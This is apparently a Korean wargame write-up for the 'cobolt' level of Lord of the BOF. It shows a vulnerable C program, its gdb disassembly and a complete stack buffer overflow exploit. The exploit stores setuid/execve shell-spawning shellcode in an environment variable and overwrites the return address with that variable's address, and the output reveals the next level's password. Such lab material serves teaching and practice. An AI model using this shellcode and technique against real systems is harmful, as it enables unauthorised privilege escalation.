oiehso0 2018. 1. 5. 13:13

[gremlin@localhost gremlin]$ cat cobolt.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16]; //버퍼사이즈가 작아서 쉘코드를 넣을 수 없다.
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


[gremlin@localhost gremlin]$ gdb cobolt1
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,16 //버퍼사이즈
0x8048436 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   0x80484d0
0x8048441 <main+17>:    call   0x8048350 <printf>
0x8048446 <main+22>:    add    %esp,4
0x8048449 <main+25>:    push   0
0x804844b <main+27>:    call   0x8048360 <exit>
0x8048450 <main+32>:    add    %esp,4
0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:    add    %eax,4
0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    %eax,[%ebp-16]
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    %esp,8
0x8048468 <main+56>:    lea    %eax,[%ebp-16]
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   0x80484dc




1.환경변수

쉘코드를 환경변수 설정 해준다.

[gremlin@localhost /tmp]$ export shellcode=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[gremlin@localhost /tmp]$ cat myenv.c


#include <stdio.h>


int main(int argc, char* argv[]){

        char *addr;

        if(argc<2)

        {

        printf("Usage: \n%s <env name>\n", argv[0]);

        exit(1);

        }


        addr = getenv(argv[1]);


        if(addr == NULL)

        {

        printf("env value doesn't exist.\n", argv[1]);

        exit(1);

        }


        printf("%s is at %p\n", argv[1], addr);


        return 0;

}


[gremlin@localhost /tmp]$ ./myenv shellcode
shellcode is at 0xbffffee1

시작주소를 얻는다.

[gremlin@localhost /tmp]$ cd ..

[gremlin@localhost /]$ ls
bin   dev  home  lost+found  opt   root  tmp  var
boot  etc  lib   mnt         proc  sbin  usr

[gremlin@localhost /]$ cd home/gremlin/


buffer(16)+sfp(4)+ret(4)<--ret에 쉘코드 환경변수의 시작주소가 들어가면 된다.

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "\x90"*20+"\xe1\xfe\xff\xbf"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
bash$
bash$ my-pass
euid = 502

bash$ hacking exposed




2번째 방법(생략) 

 프로그램시 받는 인자 argv는 개수 제한이 없기 때문에  argv[1]은 버퍼에 들어가서 ret주소를 바꿔줘야 하기 때문에 argv[2]를 이용한다.

argv[2]에 임의의 값을 넣어보고 시작주소를 알아낸뒤 nop를 넉넉히 + shellcode를 넣어주면 된다.